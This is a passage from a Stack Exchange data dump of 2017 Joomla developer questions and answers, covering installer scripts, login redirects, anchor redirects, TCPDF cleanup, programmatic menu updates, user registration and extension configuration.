. 'images/image.png';&#xA;        }&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I find the path to the temporary install directory?&lt;/p&gt;&#xA;" OwnerUserId="9001" LastActivityDate="2019-01-30T15:19:55.383" Title="Installer Script - Copying files from installer temporary directory to joomla site" Tags="|joomla-3.x|plugin|extensions|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19128" PostTypeId="2" ParentId="19121" CreationDate="2017-02-12T22:51:52.970" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/contacts-and-feedback/forms/rsform-pro/&quot; rel=&quot;nofollow noreferrer&quot;&gt;RSForms Pro&lt;/a&gt; is very powerful and can do this.  There are a few steps to it.  When you make your fields, you would &lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsform-pro/custom-scripting/auto-populate-a-list-from-a-table.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;auto-populate&lt;/a&gt; the available teams by using RSForms built in shortcode for the query.  Then you actually post the data and &lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsform-pro/frequently-asked-questions/how-do-i-pass-a-parameter-through-the-url-and-how-can-i-catch-it-.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;grab it back&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could display the data in other fields or probably clearer to do with javascript innerHTLML similar to this &lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsform-pro/custom-scripting/preview-data-before-submit.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt; although you would probably need to loop it if you wanted to display it like a table.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2017-02-12T22:51:52.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19129" PostTypeId="2" ParentId="19125" CreationDate="2017-02-13T11:20:56.600" Score="1" Body="&lt;p&gt;You can use the &lt;code&gt;postflight()&lt;/code&gt; function to move the images after the &lt;code&gt;install()&lt;/code&gt; function has been executed and completed, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class pkg_fooInstallerScript&#xA;{&#xA;    protected $extension = 'plg_myplugin';&#xA;&#xA;    public function install($parent) &#xA;    {&#xA;        // Do whatever you need to do when installing&#xA;    }&#xA;&#xA;    public function postflight($type, $parent) &#xA;    {&#xA;        // Only run the code if we're installing, not updating.&#xA;        if (strtolower($type) === 'install')&#xA;        {&#xA;            $imagePath = JPATH_SITE . '/plugins/' . $this-&amp;gt;extension . '/images/image.png';&#xA;            $newPath   = JPATH_SITE . '/images/image.png';&#xA;&#xA;            JFile::move($imagePath, $newPath;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-02-13T11:20:56.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19130" PostTypeId="1" CreationDate="2017-02-13T13:00:32.953" Score="0" ViewCount="552" Body="&lt;p&gt;I have implemented an API on my server with PHP/mySQL to create products, categories, orders etc.For the sake of testing i had been testing the whole system with Postman.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this stage of the project i need an admin site like inventory/order management.&#xA;I have no experience wit h Joomla but i watched some tutorials and read the documentation.I experimented with the extension Spider Catalog Component but i am not sure if i can fully customise it according to my already existing database tables and entry points.&#xA;Do i need to create my own extension for that purpose? If yes how complicated would it be?&#xA;Does anyone have experience with that ?&lt;/p&gt;&#xA;" OwnerUserId="9680" LastActivityDate="2017-10-12T11:50:23.647" Title="Integrating an existing API with PHP/mySQL to Joomla for inventory Management" Tags="|joomla-3.5|restful-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19131" PostTypeId="1" CreationDate="2017-02-13T13:55:23.103" Score="2" ViewCount="397" Body="&lt;p&gt;I'm administratior of several sites and have exp. with Joomla over 4 years, mostly worked with creating websites with this great builder using different modules, but haven't a lot exp. with PHP. Recently I got a task: create &quot;login form&quot; (2 fields and button &quot;OK&quot;), with allows user to be redirected to custom page. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;userId1, userNumb1 -&amp;gt; redirect to http://static/some1&#xA;userId2, userNumb2 -&amp;gt; redirect to http://static/another2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I can't find module for this and havent clue how I can do this - my exp. with PHP isn't enough for rewriting mod_mogin.&#xA;Can anyone bring me some tips on how I can do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="9681" LastActivityDate="2018-02-09T14:10:40.160" Title="Custom Login Component - Redirecting depends from entered data" Tags="|joomla-3.x|component|login|custom-component|redirect|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19132" PostTypeId="1" AcceptedAnswerId="19155" CreationDate="2017-02-13T14:01:07.170" Score="0" ViewCount="58" Body="&lt;p&gt;I bought a theme for my joomla webpage &quot;joomla 3.6.5&quot;. This template uses very handy feature: all articles belonging to a category displayed vertical in a row with an navigation button at the bottom of the list. Tried to copy this layout on anothe Website i can not find the Munu Item Typ: &quot;Category Articles&quot; (Outputs articles from the specified category). How is this&lt;a href=&quot;https://i.stack.imgur.com/tV7WO.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tV7WO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; Menu item type configured?&lt;/p&gt;&#xA;" OwnerUserId="2267" LastActivityDate="2017-02-16T23:41:49.960" Title="how can i config Menu Type: Category Articles" Tags="|joomla-3.x|menu-item|category|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19133" PostTypeId="1" CreationDate="2017-02-13T18:10:18.707" Score="2" ViewCount="616" Body="&lt;ul&gt;&#xA;&lt;li&gt;Joomla 3.6.5&lt;/li&gt;&#xA;&lt;li&gt;Joomshaper Helix 3 Template &lt;a href=&quot;http://demo.joomshaper.com/?template=helix3&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;FavimageHover Module &lt;a href=&quot;https://www.favthemes.com/joomla-extensions/product/favimagehover-responsive-joomla-module&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have the FavimageHover module installed on my site, it works great until I try and add images via the front-end. There seems to be some sort of conflict when I edit the module causing a transparent full page modal to appear on screen. No matter where I click on screen a 'browse for image' popup appears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also seems like the 'select image' fields aren't displaying correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this is a CSS or JS issue, or even where to start troubleshooting it! When I click the tab and inspect the page I can see the following code appear in the console;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;modal btn&quot; title=&quot;Select&quot; href=&quot;/dod-dev/&amp;amp;#10;index.php?option=com_jce&amp;amp;amp;view=editor&amp;amp;amp;plugin=browser&amp;amp;amp;standalone=1&amp;amp;amp;aebdb3fbff9f8582404c47be1b302cad=1&amp;amp;amp;context=23&amp;amp;amp;filter=images&amp;amp;amp;fieldid=jform_params_upload_image6&amp;amp;amp;folder=&quot; rel=&quot;{handler: 'iframe', size: {x: 800, y: 500}}&quot;&amp;gt;Select&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't see any errors in the console. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I edit this module via the back end all is well. I am using the standard Joomla module manager. I should not that i've tried the default Protostar template and it works perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have included a few images, hopefully someone can help? I'm lost :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Only happens when I click this tab&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xy7ZX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xy7ZX.png&quot; alt=&quot;only heppens when I click this tab&quot;&gt;&lt;/a&gt;&#xA;&lt;strong&gt;These fields don't look to be displaying correctly and you can see the 'select' text appear on the top of the page&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7dfwH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7dfwH.png&quot; alt=&quot;these fields don&amp;#39;t look to be displaying correctly and you can see the &amp;#39;select&amp;#39; text appear on the top of the page&quot;&gt;&lt;/a&gt;&#xA;&lt;strong&gt;This appears when I click anywhere on screen&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/tZwPs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tZwPs.png&quot; alt=&quot;this appears when I click anywhere on screen&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2017-02-13T18:43:50.843" LastActivityDate="2017-06-14T18:39:52.833" Title="Template Modal Conflict" Tags="|joomla-3.x|javascript|css|bootstrap|modal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19135" PostTypeId="2" ParentId="19102" CreationDate="2017-02-14T07:08:32.210" Score="0" Body="&lt;p&gt;You want to override the menu and give it a unique style for the module position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A background primer for overrides would be here:&#xA;&lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Understanding_Output_Overrides&lt;/a&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&lt;/a&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Layout_Overrides_in_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your template you would create in your html/mod_menu folder - a structure similar to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/thetemplateblog/JoomberUI/tree/master/html/mod_menu&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/thetemplateblog/JoomberUI/tree/master/html/mod_menu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a new php file that you want to apply the style to: eg: sflat.php&lt;/li&gt;&#xA;&lt;li&gt;Apply the html/php - similar to joomberUI - however with the classes from sflat - as you haven't provided what the final output should be - I can't help you with this.&lt;/li&gt;&#xA;&lt;li&gt;Setup the module, and apply the style sflat&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2017-02-14T07:08:32.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19136" PostTypeId="2" ParentId="19130" CreationDate="2017-02-14T07:43:25.407" Score="1" Body="&lt;p&gt;I think it would be counter-productive to attempt to rewrite a Joomla component to push and pull data in and out through your api endpoints.  I think rather you have several options depending on your needs and abilities.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Install an appropriate 3rd party Joomla component and rewrite your API to push data into the default db tables of the component and delete your own db tables.  Obviously you will need to make sure you maintain the data integrity of the component, but you don't need to worry about rewriting the component.  If your system is generic enough this could totally work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If all you need is a set of html tables and forms then you can use a joomla form component to map to your db fields - chronoforms and rsforms both do this quite well.  For the table display just makes some custom php modules or something.  This option would be easier if you already know your way around Joomla.  If you don't really want to use Joomla for any reason then I would recommend that you use Laravel or just hacked up PHP if your building a totally custom thing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you like javascript and are a little nuts then you should totally build your admin interface in pure javascript and then use the Joomla com_ajax interface &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;- link to doc -&lt;/a&gt; to push data into a custom module helper ajax method and then push the data from there into your api endpoints.  I would do this cause I really like javascript and tangled mess.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-02-14T07:43:25.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19137" PostTypeId="2" ParentId="19131" CreationDate="2017-02-14T08:01:53.063" Score="1" Body="&lt;p&gt;There are at least a couple of extensions where unique redirects can be set up for each user:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The Pro version of &lt;a href=&quot;https://extensions.joomla.org/extension/redirect-on-login&quot; rel=&quot;nofollow noreferrer&quot;&gt;Redirect on Login&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/access-a-security/site-access/redirect-after-login&quot; rel=&quot;nofollow noreferrer&quot;&gt;Redirect after Login&lt;/a&gt; (paid extension)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-02-14T08:01:53.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19138" PostTypeId="2" ParentId="19133" CreationDate="2017-02-14T15:45:13.173" Score="2" Body="&lt;p&gt;Well the only solution / workaround I have found so far is to assign a different template when editing modules via the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to Regular Labs &lt;a href=&quot;https://www.regularlabs.com/extensions/advancedtemplatemanager&quot; rel=&quot;nofollow noreferrer&quot;&gt;Advanced Template Manager&lt;/a&gt; I was able to use the default Joomla Protostar template for front end module editing &lt;strong&gt;only&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is achieved by assigning the template as default whenever a particular URL is visited (i.e /com_config&amp;amp;controller). This option is available in the 'assignments' section of the AMM component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to be working so far, unless someone can see a reason as to why it wouldn't?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have given up on trying to troubleshoot the JS / CSS issue - this is much easier.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2017-02-14T15:45:13.173" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19141" PostTypeId="1" AcceptedAnswerId="19143" CreationDate="2017-02-14T22:52:15.503" Score="0" ViewCount="10471" Body="&lt;p&gt;I'm trying to redirect link 1 to link 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1: &lt;code&gt;http://mysite.com/resources#english&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2: &lt;code&gt;http://myothersite.com/collections/a-course-in-miracles-books&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, link 1 is an anchor and it seems that I can't simply add a redirect into the .htaccess file like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Redirect 301 /resources#english http://myothersite.com/collections/a-course-in-miracles-books&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that I could potentially add a rewrite rule, according to &lt;a href=&quot;http://httpd.apache.org/docs/2.2/rewrite/flags.html#flag_ne&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://httpd.apache.org/docs/2.2/rewrite/flags.html#flag_ne&lt;/a&gt;. The example there is the other way around (link to anchor link), but I tried adding this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;RewriteRule ^/resources#english https://myothersite.com/collections/a-course-in-miracles-books [NE,R]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This didn't work either. The anchor still doesn't redirect at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way of accomplishing what I'm trying to do? Thanks so much!&lt;/p&gt;&#xA;" OwnerUserId="8659" LastActivityDate="2021-09-02T01:47:31.867" Title="Redirect an anchor link to a new URL" Tags="|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19142" PostTypeId="2" ParentId="17582" CreationDate="2017-02-14T23:13:18.480" Score="1" Body="&lt;p&gt;TCPDF can usually be removed using the normal uninstall process in extension manager:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NVDdo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NVDdo.png&quot; alt=&quot;tcpdf&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think there are normally any menu options associated with TCPDF but if there were, these could be removed like this or similar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE FROM `jos_menu` WHERE `title` LIKE '%tcp%'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More likely is a remaining entry in the extensions table which could be removed as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE FROM `jos_extensions` WHERE `name` = 'TCPDF'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: If necessary, update the prefix from &quot;jos&quot; in the above commands to the prefix you are using.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2017-02-14T23:31:17.523" LastActivityDate="2017-02-14T23:31:17.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19143" PostTypeId="2" ParentId="19141" CreationDate="2017-02-14T23:24:19.600" Score="1" Body="&lt;p&gt;Answer here&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/15133023/hash-url-rewrite-in-htaccess&quot;&gt;https://stackoverflow.com/questions/15133023/hash-url-rewrite-in-htaccess&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, no, the bit after the hash (called a fragment) is not sent to the server and thus cannot be dealt with by the htaccess.  The NE (no escape) flag applies to the destination url, not the matched pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the SE answer linked above suggests you can redirect it client side with a bit o js. Something like this on your resources page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function locationHashChanged() {&#xA;    if (location.hash === &quot;#english&quot;) {&#xA;        window.location.replace(&quot;http://myothersite.com/collections/a-course-in-miracles-books&quot;);&#xA;    }&#xA;}&#xA;&#xA;window.onhashchange = locationHashChanged;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2017-02-14T23:24:19.600" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19145" PostTypeId="2" ParentId="14087" CreationDate="2017-02-15T11:01:59.313" Score="1" Body="&lt;p&gt;You can achive this behavior with a workaround (testing clicks on popup calendar days):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;.icon-calendar&quot;).click(function(){&#xA;    jQuery(&quot;body&quot;).on(&quot;click&quot;,&quot;.daysrow&quot;,function(){&#xA;      /* Check input values and do stuff */&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will check dinamically if .daysrow (the class including all days of the popup calendar) has been clicked, you just need to check if the value has been actually changed with &lt;code&gt;jQuery(&quot;#inputid&quot;).val()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2017-02-15T11:01:59.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19146" PostTypeId="1" CreationDate="2017-02-15T15:50:20.537" Score="0" ViewCount="652" Body="&lt;p&gt;Im creating a component, where among other things, can create and update menus, and i have successfully used this answer to create a new menu item.&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/5104/programmatically-add-menu-item-in-component?newreg=1e7c576205354c0795a55607bc3e2508&quot;&gt;Programmatically Add Menu Item in Component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menuTable = JTableNested::getInstance('Menu');&#xA;&#xA;// which menu you want to add to - &#xA;$menutype = 'thisismymenusname';&#xA;&#xA;// this is heading menu item but what data you have and require will vary per case - just look at an appropriate row in yr menu table&#xA;$menuData = array(&#xA;'menutype' =&amp;gt; $menutype,&#xA;  'title' =&amp;gt; $table-&amp;gt;alias,&#xA;  'alias' =&amp;gt; $table-&amp;gt;alias,&#xA;  'path' =&amp;gt; $table-&amp;gt;alias,&#xA;  'type' =&amp;gt; 'heading',&#xA;  'component_id' =&amp;gt; 0,                  &#xA;  'language' =&amp;gt; '*',&#xA;   'published' =&amp;gt; 1,&#xA;);&#xA;&#xA;// this item is at the root so the parent id needs to be 1&#xA;$parent_id = 1;&#xA;$menuTable-&amp;gt;setLocation($parent_id, 'last-child');&#xA;&#xA;// save is the shortcut method for bind, check and store&#xA;if (!$menuTable-&amp;gt;save($menuData))&#xA;{&#xA;  $this-&amp;gt;setError($menuTable-&amp;gt;getError());&#xA;  return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but im really unable to find the correct way to update a menu item, like the title and alias. but im unsuccessfully. I have tried using this with no success.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            $menu_title = $_POST['title'];&#xA;            $menu_alias = JFilterOutput::stringURLSafe($menu_title);&#xA;&#xA;            $menuTable = JTableNested::getInstance('Menu');&#xA;&#xA;            // this is heading menu item but what data you have and require will vary per case - just look at an appropriate row in yr menu table&#xA;            $menuData = array(&#xA;                'title' =&amp;gt; $menu_title,&#xA;                'alias' =&amp;gt; $menu_alias,&#xA;            );&#xA;&#xA;            // this item is at the root so the parent id needs to be 1&#xA;            $parent_id = ($_POST['parent'] != &quot;&quot; ? $_POST['parent'] : '1');&#xA;            $menuTable-&amp;gt;setLocation($parent_id, 'last-child');&#xA;&#xA;            // save is the shortcut method for bind, check and store&#xA;            if (!$menuTable-&amp;gt;set($_POST['menuid'],$menuData)) {&#xA;                $this-&amp;gt;setError($menuTable-&amp;gt;getError());&#xA;                exit;&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;can any help&lt;/p&gt;&#xA;" OwnerUserId="9694" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2017-07-15T23:56:36.017" Title="Programmatically update Menu Item in Component" Tags="|php|menu|jtable|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19147" PostTypeId="1" AcceptedAnswerId="19148" CreationDate="2017-02-15T17:15:33.537" Score="3" ViewCount="1214" Body="&lt;p&gt;I'd like to bulk register users without email address in my component. Afaik there isn't a database constraint, so in theory it is possible to inject the rows necessary to do this. I'd rather use the JUser class if it is possible to do the same with that. What I need from it is password hashing and username generation from the real name. Any experience with that?&lt;/p&gt;&#xA;" OwnerUserId="9637" LastActivityDate="2017-03-10T02:00:57.107" Title="How should I register my users without email address?" Tags="|joomla-3.x|registration|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19148" PostTypeId="2" ParentId="19147" CreationDate="2017-02-15T18:30:03.280" Score="1" Body="&lt;p&gt;Okay, I found the solution for password encryption: &lt;a href=&quot;https://stackoverflow.com/questions/21304038/joomla-3-2-1-password-encryption&quot;&gt;https://stackoverflow.com/questions/21304038/joomla-3-2-1-password-encryption&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.user.helper');&#xA;$yourpass = JUserHelper::hashPassword($password_choose);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I just hash the password and insert the row to the &lt;code&gt;users&lt;/code&gt; table with empty email. Adding them to some groups is just as easy by adding rows to the &lt;code&gt;user_usergroup_map&lt;/code&gt; table. If you want the users to be able to login, you need to add them at least to the registered user group. I generated a dummy email address too, something like &lt;code&gt;{username}.dummy@host&lt;/code&gt; just to be sure, but this solution does not send out annoying registration emails.&lt;/p&gt;&#xA;" OwnerUserId="9637" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2017-03-10T02:00:57.107" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="19149" PostTypeId="2" ParentId="19146" CreationDate="2017-02-15T21:15:36.097" Score="1" Body="&lt;p&gt;If the menu item already exists then you don't need jtablenested at all - you should just update the fields directly in the database.  What you do need is the menu item's id in Joomla's menu table.  You should probably store it when you create the menu item the first time around as your menu item presumably corresponds to something in your custom component.  Once you have that just do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menuitem= new stdClass();&#xA;$menuitem-&amp;gt;id = $the_id_of_the_menu_item_you_re_updating;&#xA;$menuitem-&amp;gt;title = $title;&#xA;$menuitem-&amp;gt;path = $path;&#xA;$menuitem-&amp;gt;alias = $alias;&#xA;$result = JFactory::getDbo()-&amp;gt;updateObject('#__menu', $menuitem, 'id'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should probably do a quick check for duplicate aliases etc. The only reason you need to use jtablenested to make the menu item in the first place is because of the calculation of the right and left positioning which is a bit nuts.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-02-15T21:15:36.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19151" PostTypeId="1" AcceptedAnswerId="19153" CreationDate="2017-02-16T11:35:45.087" Score="1" ViewCount="502" Body="&lt;p&gt;I am writing a component which creates two user groups by install. I'd like the component to keep the same groups by update (maybe change the group title) and remove these groups by uninstall. Should I store the group ids in a custom table like &lt;code&gt;#__example_configuration&lt;/code&gt;: &lt;code&gt;[option, value]&lt;/code&gt;, or is there a built in api, maybe helper in Joomla which does the same? I'll probably need to access this info by updates, and I guess using a json file would not work, because I guess it would be automatically replaced by the json file of the new component release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is still a question where to put non editable config options, for example if I want to save a group id and I don't want to ask every time the system, what is the group id of registered or admin users. That's just an example. I accepted the solution, because nobody else answered. I used a separate table for the config options, it was faster than learning how to write xml for config edit forms and how to backup config. I recommend to use the built in api and add config.xml files &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_configuration/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_configuration/en&lt;/a&gt; and probably add a query cache file instead of a separate table if you have such non editable options I mentioned.&lt;/p&gt;&#xA;" OwnerUserId="9637" LastEditorUserId="9637" LastEditDate="2017-03-10T02:28:33.707" LastActivityDate="2017-03-10T02:28:33.707" Title="Where to save extension configuration?" Tags="|joomla-3.x|component|extensions|extension-update|component-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19152" PostTypeId="1" AcceptedAnswerId="19165" CreationDate="2017-02-16T14:04:25.240" Score="0" ViewCount="54" Body="&lt;p&gt;I have a site mostly targeted for registered users but I want to provide guests (potential new users) with registration form. This registration form is a Menu item publicly available (it consists of a component with one module). In helper class of the module I have a very simple query as I need to fetch one data from my joomla database before processing the form data: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName('params'))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__mytable'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('name') . '=' . $db-&amp;gt;quoteName('something'));&#xA;$db-&amp;gt;setQuery($query);&#xA;$params = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that I am getting redirected to login page on executing this part of code (I didn't have this problem before so I am sure it is connected with &lt;code&gt;JFactory::getDbo&lt;/code&gt; or something with db connection). I guess it is because of the permissions to enable access to db only for logged-in users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get around this problem without security breaches? Any help appreciated. &lt;/p&gt;&#xA;" OwnerUserId="9697" LastActivityDate="2017-02-20T01:43:08.793" Title="Cannot query Joomla database as a guest user" Tags="|joomla-3.x|acl|jdatabase|permissions|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
